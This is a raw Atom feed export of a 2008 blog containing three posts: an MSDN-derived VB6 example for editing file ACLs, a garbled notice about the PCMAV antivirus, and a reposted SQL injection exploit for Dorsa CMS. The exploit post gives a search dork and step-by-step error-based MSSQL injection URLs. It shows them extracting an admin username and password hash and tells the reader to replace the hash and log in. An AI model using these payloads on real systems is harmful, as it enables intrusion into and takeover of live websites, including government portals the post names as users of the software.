sNewSD)&lt;br /&gt;&lt;br /&gt;' Make sure you added the Security Descriptor to the file!&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Set New Security Descriptor " _&lt;br /&gt;&amp; " to File : " &amp; sFileName&lt;br /&gt;MsgBox Err.LastDllError&lt;br /&gt;Else&lt;br /&gt;MsgBox "Updated Security Descriptor on File: " _&lt;br /&gt;&amp; sFileName&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-5772136556466638558?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/5772136556466638558/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=5772136556466638558' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5772136556466638558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5772136556466638558'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2008/12/api-func-2.html' title='API Func 2'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6780027323466812080</id><published>2008-12-10T20:21:00.000-08:00</published><updated>2008-12-10T20:41:17.020-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><category scheme='http://www.blogger.com/atom/ns#' term='Antivirus'/><title type='text'>PCMAV December</title><content type='html'>Following PCMAV or Software Anti nation child masterpiece virus&lt;br /&gt;( Magazine PC Media) edition December 2008 or PCMAV version of 1.9.&lt;br /&gt;Virus-Virus which is on edition before all still,&lt;br /&gt;hopefully dgn this new edition can be dissipated. "&lt;br /&gt;there is no antivirus other capable to overcome with complete of&lt;br /&gt;computer virus, foreign and local good, which disseminating many in Indonesia as good as&lt;br /&gt;PCMAV".&lt;br /&gt;&lt;br /&gt;for more information and download, please &lt;a href="http://soft-download-info.blogspot.com/2008/12/pcmav-19-desember.html"&gt;visit&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6780027323466812080?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6780027323466812080/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6780027323466812080' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6780027323466812080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6780027323466812080'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2008/12/pcmav-december.html' title='PCMAV December'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-7931219331205419873</id><published>2008-11-28T19:55:00.000-08:00</published><updated>2008-11-28T20:07:13.002-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>DorsaCms Remote SQL Injection Vulnerability</title><content type='html'>Portal Name: Dorsa CMS&lt;br /&gt;Vendor : http://www.dorsacms.com&lt;br /&gt;Description : A CMS written by iranian programmers which uses by governmental websites.&lt;br /&gt;Vulnerable File : ShowPage.aspx&lt;br /&gt;Dork: Powered by DorsaCms&lt;br /&gt;Author : syst3m_f4ult &amp;&amp; Y!ID : autumn_love6&lt;br /&gt;&lt;br /&gt;How to exploit :&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;a live example :&lt;br /&gt;&lt;br /&gt;http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&amp;tempname=fire⊂=0&amp;PageID=36&amp;PageIDF=2&lt;br /&gt;&lt;br /&gt;Testing injection :&lt;br /&gt;http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&amp;tempname=fire⊂=0&amp;PageID=36&amp;PageIDF=2 or 1=convert(int,@@version)--&lt;br /&gt;Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise ...&lt;br /&gt;&lt;br /&gt;Getting table which contains Username and Password:&lt;br /&gt;Easiest way is to search it:&lt;br /&gt;&lt;br /&gt;http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&amp;tempname=fire⊂=0&amp;PageID=36&amp;PageIDF=2 or 1=convert(int,(select top 1 table_name from information_schema.columns where column_name like %27%pass%%27))--&lt;br /&gt;&lt;br /&gt;table_name = Seller&lt;br /&gt;Its not that table we are seeking, so we keep on:&lt;br /&gt;http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&amp;tempname=fire⊂=0&amp;PageID=36&amp;PageIDF=2 or 1=convert(int,(select top 1 table_name from information_schema.columns where column_name like %27%pass%%27 and table_name not in ('Seller')))--&lt;br /&gt;&lt;br /&gt;Bingo&lt;br /&gt;Table_name = USER_&lt;br /&gt;&lt;br /&gt;Start to get username and pass from USER_:&lt;br /&gt;&lt;br /&gt;http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&amp;tempname=fire⊂=0&amp;PageID=36&amp;PageIDF=2 or 1=convert(int,(select top 1 %2b'Username= '%2bconvert(varchar,isnull(convert(varchar,user_name),'NULL'))%2b' -- Password= : '%2bconvert(varchar,isnull(convert(varchar,Pass),'NULL')) from USER_ where Code='1'))&lt;br /&gt;&lt;br /&gt;user : admin&lt;br /&gt;pass : kaBY/8jRC+XbjSIIDhsHFmOX1B2pDd&lt;br /&gt;&lt;br /&gt;Update hash to a hash you know its decode and enjoy.&lt;br /&gt;&lt;br /&gt;login to portal :&lt;br /&gt;http://www.xxx.ir/Dorsapax/Signin.aspx&lt;br /&gt;&lt;br /&gt;ref. milw0rm.com&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-7931219331205419873?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/7931219331205419873/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=7931219331205419873' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7931219331205419873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7931219331205419873'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2008/11/dorsacms-remote-sql-injection.html' title='DorsaCms Remote SQL Injection Vulnerability'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6291242189646465811</id><published>2008-11-25T08:42:00.000-08:00</published><updated>2008-12-10T20:50:45.921-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='VB / .Net'/><title type='text'>API func 1</title><content type='html'>AddAccessAllowedAce&lt;br /&gt;&lt;br /&gt;'Determine whether a file is already open or not&lt;br /&gt;&lt;br /&gt;Private Declare Function lOpen Lib "kernel32" Alias "_lopen" (ByVal lpPathName As String, ByVal iReadWrite As Long) As Long&lt;br /&gt;Private Declare Function lClose Lib "kernel32" Alias "_lclose" (ByVal hFile As Long) As Long&lt;br /&gt;Private Function IsFileAlreadyOpen(FileName As String) As Boolean&lt;br /&gt;Dim hFile As Long&lt;br /&gt;Dim lastErr As Long&lt;br /&gt;' Initialize file handle and error variable.&lt;br /&gt;hFile = -1&lt;br /&gt;lastErr = 0&lt;br /&gt;' Open for for read and exclusive sharing.&lt;br /&gt;hFile = lOpen(FileName, &amp;H10)&lt;br /&gt;' If we couldn't open the file, get the last error.&lt;br /&gt;If hFile = -1 Then&lt;br /&gt;lastErr = Err.LastDllError&lt;br /&gt;Else&lt;br /&gt;' Make sure we close the file on success.&lt;br /&gt;lClose (hFile)&lt;br /&gt;End If&lt;br /&gt;' Check for sharing violation error.&lt;br /&gt;sFileAlreadyOpen = (hFile = -1) And (lastErr = 32)&lt;br /&gt;End Function&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;'example by Matthew Gates (Puff0rz@hotmail.com)&lt;br /&gt;MsgBox IsFileAlreadyOpen("c:\autoexec.bat")&lt;br /&gt;End Sub&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;AddAccessDenielAce&lt;br /&gt;&lt;br /&gt;'Example from MSDN (Q240176)&lt;br /&gt;'The following code changes permissions on a folder to Add &amp; Read or Change.&lt;br /&gt;'The folder needs to be created on an NTFS partition.&lt;br /&gt;'You need to be an Administrator on the machine in question and have read/write&lt;br /&gt;'(READ_CONTROL and WRITE_DAC) access to the file or directory.&lt;br /&gt;&lt;br /&gt;'1. Create a Standard EXE project in Visual Basic. Form1 is created by default.&lt;br /&gt;'2. Add two Textboxes (Text1 and Text2) and two CommandButtons (Command1 and Command2) to Form1.&lt;br /&gt;'3. Add the following code to the form and the module&lt;br /&gt;'4. Run the application.&lt;br /&gt;'5. In the Test1 TextBox, enter the name of the folder you want to change permissions on. (D:\test is entered by default.)&lt;br /&gt;' In the Test2 Textbox, enter the name of the user you want to give these permissions to.&lt;br /&gt;'6. Click the Add &amp; Read permissions button to give Add &amp; Read permissions to the folder, or click the Change Permissions&lt;br /&gt;' button to give Change permissions to the folder.&lt;br /&gt;'7. To check the permissions on the folder, right-click Explorer. Select the Properties menu item, and click the Security&lt;br /&gt;' Tab of the Properties dialog box. On the Security tab, click the Permissions button. The specific account should say&lt;br /&gt;' Add &amp; Read or Change depending on which button you clicked in the preceding sample.&lt;br /&gt;&lt;br /&gt;'Add this code to the form&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;Dim sUserName As String&lt;br /&gt;Dim sFolderName As String&lt;br /&gt;sUserName = Trim$(CStr(Text2.Text))&lt;br /&gt;sFolderName = Trim$(CStr(Text1.Text))&lt;br /&gt;SetAccess sUserName, sFolderName, GENERIC_READ Or GENERIC_EXECUTE Or DELETE Or GENERIC_WRITE&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;Dim sUserName As String&lt;br /&gt;Dim sFolderName As String&lt;br /&gt;sUserName = Trim$(Text2.Text)&lt;br /&gt;sFolderName = Trim$(Text1.Text)&lt;br /&gt;SetAccess sUserName, sFolderName, GENERIC_EXECUTE Or GENERIC_READ&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Text1.Text = "enter folder name"&lt;br /&gt;Text2.Text = "enter username"&lt;br /&gt;Command1.Caption = "Change"&lt;br /&gt;Command2.Caption = "Read &amp;&amp; Add"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'Add this code to a module&lt;br /&gt;&lt;br /&gt;' Constants used within our API calls. Refer to the MSDN for more&lt;br /&gt;' information on how/what these constants are used for.&lt;br /&gt;&lt;br /&gt;' Memory constants used through various memory API calls.&lt;br /&gt;Public Const GMEM_MOVEABLE = &amp;H2&lt;br /&gt;Public Const LMEM_FIXED = &amp;H0&lt;br /&gt;Public Const LMEM_ZEROINIT = &amp;H40&lt;br /&gt;Public Const LPTR = (LMEM_FIXED + LMEM_ZEROINIT)&lt;br /&gt;Public Const GENERIC_READ = &amp;H80000000&lt;br /&gt;Public Const GENERIC_ALL = &amp;H10000000&lt;br /&gt;Public Const GENERIC_EXECUTE = &amp;H20000000&lt;br /&gt;Public Const GENERIC_WRITE = &amp;H40000000&lt;br /&gt;&lt;br /&gt;' The file/security API call constants.&lt;br /&gt;' Refer to the MSDN for more information on how/what these constants&lt;br /&gt;' are used for.&lt;br /&gt;Public Const DACL_SECURITY_INFORMATION = &amp;H4&lt;br /&gt;Public Const SECURITY_DESCRIPTOR_REVISION = 1&lt;br /&gt;Public Const SECURITY_DESCRIPTOR_MIN_LENGTH = 20&lt;br /&gt;Public Const SD_SIZE = (65536 + SECURITY_DESCRIPTOR_MIN_LENGTH)&lt;br /&gt;Public Const ACL_REVISION2 = 2&lt;br /&gt;Public Const ACL_REVISION = 2&lt;br /&gt;Public Const MAXDWORD = &amp;HFFFFFFFF&lt;br /&gt;Public Const SidTypeUser = 1&lt;br /&gt;Public Const AclSizeInformation = 2&lt;br /&gt;&lt;br /&gt;' The following are the inherit flags that go into the AceFlags field&lt;br /&gt;' of an Ace header.&lt;br /&gt;&lt;br /&gt;Public Const OBJECT_INHERIT_ACE = &amp;H1&lt;br /&gt;Public Const CONTAINER_INHERIT_ACE = &amp;H2&lt;br /&gt;Public Const NO_PROPAGATE_INHERIT_ACE = &amp;H4&lt;br /&gt;Public Const INHERIT_ONLY_ACE = &amp;H8&lt;br /&gt;Public Const INHERITED_ACE = &amp;H10&lt;br /&gt;Public Const VALID_INHERIT_FLAGS = &amp;H1F&lt;br /&gt;Public Const DELETE = &amp;H10000&lt;br /&gt;&lt;br /&gt;' Structures used by our API calls.&lt;br /&gt;' Refer to the MSDN for more information on how/what these&lt;br /&gt;' structures are used for.&lt;br /&gt;Type ACE_HEADER&lt;br /&gt;AceType As Byte&lt;br /&gt;AceFlags As Byte&lt;br /&gt;AceSize As Integer&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Public Type ACCESS_DENIED_ACE&lt;br /&gt;Header As ACE_HEADER&lt;br /&gt;Mask As Long&lt;br /&gt;SidStart As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type ACCESS_ALLOWED_ACE&lt;br /&gt;Header As ACE_HEADER&lt;br /&gt;Mask As Long&lt;br /&gt;SidStart As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type ACL&lt;br /&gt;AclRevision As Byte&lt;br /&gt;Sbz1 As Byte&lt;br /&gt;AclSize As Integer&lt;br /&gt;AceCount As Integer&lt;br /&gt;Sbz2 As Integer&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type ACL_SIZE_INFORMATION&lt;br /&gt;AceCount As Long&lt;br /&gt;AclBytesInUse As Long&lt;br /&gt;AclBytesFree As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type SECURITY_DESCRIPTOR&lt;br /&gt;Revision As Byte&lt;br /&gt;Sbz1 As Byte&lt;br /&gt;Control As Long&lt;br /&gt;Owner As Long&lt;br /&gt;Group As Long&lt;br /&gt;sACL As ACL&lt;br /&gt;Dacl As ACL&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;' API calls used within this sample. Refer to the MSDN for more&lt;br /&gt;' information on how/what these APIs do.&lt;br /&gt;&lt;br /&gt;Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long&lt;br /&gt;Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long&lt;br /&gt;Declare Function LookupAccountName Lib "advapi32.dll" Alias "LookupAccountNameA" (lpSystemName As String, ByVal lpAccountName As String, sid As Any, cbSid As Long, ByVal ReferencedDomainName As String, cbReferencedDomainName As Long, peUse As Long) As Long&lt;br /&gt;Declare Function InitializeSecurityDescriptor Lib "advapi32.dll" (pSecurityDescriptor As SECURITY_DESCRIPTOR, ByVal dwRevision As Long) As Long&lt;br /&gt;Declare Function GetSecurityDescriptorDacl Lib "advapi32.dll" (pSecurityDescriptor As Byte, lpbDaclPresent As Long, pDacl As Long, lpbDaclDefaulted As Long) As Long&lt;br /&gt;Declare Function GetFileSecurityN Lib "advapi32.dll" Alias "GetFileSecurityA" (ByVal lpFileName As String, ByVal RequestedInformation As Long, ByVal pSecurityDescriptor As Long, ByVal nLength As Long, lpnLengthNeeded As Long) As Long&lt;br /&gt;Declare Function GetFileSecurity Lib "advapi32.dll" Alias "GetFileSecurityA" (ByVal lpFileName As String, ByVal RequestedInformation As Long, pSecurityDescriptor As Byte, ByVal nLength As Long, lpnLengthNeeded As Long) As Long&lt;br /&gt;Declare Function GetAclInformation Lib "advapi32.dll" (ByVal pAcl As Long, pAclInformation As Any, ByVal nAclInformationLength As Long, ByVal dwAclInformationClass As Long) As Long&lt;br /&gt;Public Declare Function EqualSid Lib "advapi32.dll" (pSid1 As Byte, ByVal pSid2 As Long) As Long&lt;br /&gt;Declare Function GetLengthSid Lib "advapi32.dll" (pSid As Any) As Long&lt;br /&gt;Declare Function InitializeAcl Lib "advapi32.dll" (pAcl As Byte, ByVal nAclLength As Long, ByVal dwAclRevision As Long) As Long&lt;br /&gt;Declare Function GetAce Lib "advapi32.dll" (ByVal pAcl As Long, ByVal dwAceIndex As Long, pace As Any) As Long&lt;br /&gt;Declare Function AddAce Lib "advapi32.dll" (ByVal pAcl As Long, ByVal dwAceRevision As Long, ByVal dwStartingAceIndex As Long, ByVal pAceList As Long, ByVal nAceListLength As Long) As Long&lt;br /&gt;Declare Function AddAccessAllowedAce Lib "advapi32.dll" (pAcl As Byte, ByVal dwAceRevision As Long, ByVal AccessMask As Long, pSid As Byte) As Long&lt;br /&gt;Public Declare Function AddAccessDeniedAce Lib "advapi32.dll" (pAcl As Byte, ByVal dwAceRevision As Long, ByVal AccessMask As Long, pSid As Byte) As Long&lt;br /&gt;Declare Function SetSecurityDescriptorDacl Lib "advapi32.dll" (pSecurityDescriptor As SECURITY_DESCRIPTOR, ByVal bDaclPresent As Long, pDacl As Byte, ByVal bDaclDefaulted As Long) As Long&lt;br /&gt;Declare Function SetFileSecurity Lib "advapi32.dll" Alias "SetFileSecurityA" (ByVal lpFileName As String, ByVal SecurityInformation As Long, pSecurityDescriptor As SECURITY_DESCRIPTOR) As Long&lt;br /&gt;Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)&lt;br /&gt;Public Sub SetAccess(sUserName As String, sFileName As String, lMask As Long)&lt;br /&gt;Dim lResult As Long ' Result of various API calls.&lt;br /&gt;Dim I As Integer ' Used in looping.&lt;br /&gt;Dim bUserSid(255) As Byte ' This will contain your SID.&lt;br /&gt;Dim bTempSid(255) As Byte ' This will contain the Sid of each ACE in the ACL .&lt;br /&gt;Dim sSystemName As String ' Name of this computer system.&lt;br /&gt;&lt;br /&gt;Dim lSystemNameLength As Long ' Length of string that contains&lt;br /&gt;' the name of this system.&lt;br /&gt;&lt;br /&gt;Dim lLengthUserName As Long ' Max length of user name.&lt;br /&gt;&lt;br /&gt;'Dim sUserName As String * 255 ' String to hold the current user&lt;br /&gt;' name.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dim lUserSID As Long ' Used to hold the SID of the&lt;br /&gt;' current user.&lt;br /&gt;&lt;br /&gt;Dim lTempSid As Long ' Used to hold the SID of each ACE in the ACL&lt;br /&gt;Dim lUserSIDSize As Long ' Size of the SID.&lt;br /&gt;Dim sDomainName As String * 255 ' Domain the user belongs to.&lt;br /&gt;Dim lDomainNameLength As Long ' Length of domain name needed.&lt;br /&gt;&lt;br /&gt;Dim lSIDType As Long ' The type of SID info we are&lt;br /&gt;' getting back.&lt;br /&gt;&lt;br /&gt;Dim sFileSD As SECURITY_DESCRIPTOR ' SD of the file we want.&lt;br /&gt;&lt;br /&gt;Dim bSDBuf() As Byte ' Buffer that holds the security&lt;br /&gt;' descriptor for this file.&lt;br /&gt;&lt;br /&gt;Dim lFileSDSize As Long ' Size of the File SD.&lt;br /&gt;Dim lSizeNeeded As Long ' Size needed for SD for file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dim sNewSD As SECURITY_DESCRIPTOR ' New security descriptor.&lt;br /&gt;&lt;br /&gt;Dim sACL As ACL ' Used in grabbing the DACL from&lt;br /&gt;' the File SD.&lt;br /&gt;&lt;br /&gt;Dim lDaclPresent As Long ' Used in grabbing the DACL from&lt;br /&gt;' the File SD.&lt;br /&gt;&lt;br /&gt;Dim lDaclDefaulted As Long ' Used in grabbing the DACL from&lt;br /&gt;' the File SD.&lt;br /&gt;&lt;br /&gt;Dim sACLInfo As ACL_SIZE_INFORMATION ' Used in grabbing the ACL&lt;br /&gt;' from the File SD.&lt;br /&gt;&lt;br /&gt;Dim lACLSize As Long ' Size of the ACL structure used&lt;br /&gt;' to get the ACL from the File SD.&lt;br /&gt;&lt;br /&gt;Dim pAcl As Long ' Current ACL for this file.&lt;br /&gt;Dim lNewACLSize As Long ' Size of new ACL to create.&lt;br /&gt;Dim bNewACL() As Byte ' Buffer to hold new ACL.&lt;br /&gt;&lt;br /&gt;Dim sCurrentACE As ACCESS_ALLOWED_ACE ' Current ACE.&lt;br /&gt;Dim pCurrentAce As Long ' Our current ACE.&lt;br /&gt;&lt;br /&gt;Dim nRecordNumber As Long&lt;br /&gt;&lt;br /&gt;' Get the SID of the user. (Refer to the MSDN for more information on SIDs&lt;br /&gt;' and their function/purpose in the operating system.) Get the SID of this&lt;br /&gt;' user by using the LookupAccountName API. In order to use the SID&lt;br /&gt;' of the current user account, call the LookupAccountName API&lt;br /&gt;' twice. The first time is to get the required sizes of the SID&lt;br /&gt;' and the DomainName string. The second call is to actually get&lt;br /&gt;' the desired information.&lt;br /&gt;&lt;br /&gt;lResult = LookupAccountName(vbNullString, sUserName, _&lt;br /&gt;bUserSid(0), 255, sDomainName, lDomainNameLength, _&lt;br /&gt;lSIDType)&lt;br /&gt;&lt;br /&gt;' Now set the sDomainName string buffer to its proper size before&lt;br /&gt;' calling the API again.&lt;br /&gt;sDomainName = Space(lDomainNameLength)&lt;br /&gt;&lt;br /&gt;' Call the LookupAccountName again to get the actual SID for user.&lt;br /&gt;lResult = LookupAccountName(vbNullString, sUserName, _&lt;br /&gt;bUserSid(0), 255, sDomainName, lDomainNameLength, _&lt;br /&gt;lSIDType)&lt;br /&gt;&lt;br /&gt;' Return value of zero means the call to LookupAccountName failed;&lt;br /&gt;' test for this before you continue.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Lookup the Current User Account: " _&lt;br /&gt;&amp; sUserName&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' You now have the SID for the user who is logged on.&lt;br /&gt;' The SID is of interest since it will get the security descriptor&lt;br /&gt;' for the file that the user is interested in.&lt;br /&gt;' The GetFileSecurity API will retrieve the Security Descriptor&lt;br /&gt;' for the file. However, you must call this API twice: once to get&lt;br /&gt;' the proper size for the Security Descriptor and once to get the&lt;br /&gt;' actual Security Descriptor information.&lt;br /&gt;&lt;br /&gt;lResult = GetFileSecurityN(sFileName, DACL_SECURITY_INFORMATION, _&lt;br /&gt;0, 0, lSizeNeeded)&lt;br /&gt;&lt;br /&gt;' Redimension the Security Descriptor buffer to the proper size.&lt;br /&gt;ReDim bSDBuf(lSizeNeeded)&lt;br /&gt;&lt;br /&gt;' Now get the actual Security Descriptor for the file.&lt;br /&gt;lResult = GetFileSecurity(sFileName, DACL_SECURITY_INFORMATION, _&lt;br /&gt;bSDBuf(0), lSizeNeeded, lSizeNeeded)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Get the File Security Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Call InitializeSecurityDescriptor to build a new SD for the&lt;br /&gt;' file.&lt;br /&gt;lResult = InitializeSecurityDescriptor(sNewSD, _&lt;br /&gt;SECURITY_DESCRIPTOR_REVISION)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Initialize New Security Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' You now have the file's SD and a new Security Descriptor&lt;br /&gt;' that will replace the current one. Next, pull the DACL from&lt;br /&gt;' the SD. To do so, call the GetSecurityDescriptorDacl API&lt;br /&gt;' function.&lt;br /&gt;&lt;br /&gt;lResult = GetSecurityDescriptorDacl(bSDBuf(0), lDaclPresent, _&lt;br /&gt;pAcl, lDaclDefaulted)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Get DACL from File Security " _&lt;br /&gt;&amp; "Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' You have the file's SD, and want to now pull the ACL from the&lt;br /&gt;' SD. To do so, call the GetACLInformation API function.&lt;br /&gt;' See if ACL exists for this file before getting the ACL&lt;br /&gt;' information.&lt;br /&gt;If (lDaclPresent = False) Then&lt;br /&gt;MsgBox "Error: No ACL Information Available for this File"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Attempt to get the ACL from the file's Security Descriptor.&lt;br /&gt;lResult = GetAclInformation(pAcl, sACLInfo, Len(sACLInfo), 2&amp;)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Get ACL from File Security Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Now that you have the ACL information, compute the new ACL size&lt;br /&gt;' requirements.&lt;br /&gt;lNewACLSize = sACLInfo.AclBytesInUse + (Len(sCurrentACE) + _&lt;br /&gt;GetLengthSid(bUserSid(0))) * 2 - 4&lt;br /&gt;&lt;br /&gt;' Resize our new ACL buffer to its proper size.&lt;br /&gt;ReDim bNewACL(lNewACLSize)&lt;br /&gt;&lt;br /&gt;' Use the InitializeAcl API function call to initialize the new&lt;br /&gt;' ACL.&lt;br /&gt;lResult = InitializeAcl(bNewACL(0), lNewACLSize, ACL_REVISION)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Initialize New ACL"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' If a DACL is present, copy it to a new DACL.&lt;br /&gt;If (lDaclPresent) Then&lt;br /&gt;&lt;br /&gt;' Copy the ACEs from the file to the new ACL.&lt;br /&gt;If (sACLInfo.AceCount &gt; 0) Then&lt;br /&gt;&lt;br /&gt;' Grab each ACE and stuff them into the new ACL.&lt;br /&gt;nRecordNumber = 0&lt;br /&gt;For I = 0 To (sACLInfo.AceCount - 1)&lt;br /&gt;&lt;br /&gt;' Attempt to grab the next ACE.&lt;br /&gt;lResult = GetAce(pAcl, I, pCurrentAce)&lt;br /&gt;&lt;br /&gt;' Make sure you have the current ACE under question.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Obtain ACE (" &amp; I &amp; ")"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' You have a pointer to the ACE. Place it&lt;br /&gt;' into a structure, so you can get at its size.&lt;br /&gt;CopyMemory sCurrentACE, pCurrentAce, LenB(sCurrentACE)&lt;br /&gt;&lt;br /&gt;'Skip adding the ACE to the ACL if this is same usersid&lt;br /&gt;lTempSid = pCurrentAce + 8&lt;br /&gt;If EqualSid(bUserSid(0), lTempSid) = 0 Then&lt;br /&gt;&lt;br /&gt;' Now that you have the ACE, add it to the new ACL.&lt;br /&gt;lResult = AddAce(VarPtr(bNewACL(0)), ACL_REVISION, _&lt;br /&gt;MAXDWORD, pCurrentAce, _&lt;br /&gt;sCurrentACE.Header.AceSize)&lt;br /&gt;&lt;br /&gt;' Make sure you have the current ACE under question.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Add ACE to New ACL"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;nRecordNumber = nRecordNumber + 1&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Next I&lt;br /&gt;&lt;br /&gt;' You have now rebuilt a new ACL and want to add it to&lt;br /&gt;' the newly created DACL.&lt;br /&gt;lResult = AddAccessAllowedAce(bNewACL(0), ACL_REVISION, _&lt;br /&gt;lMask, 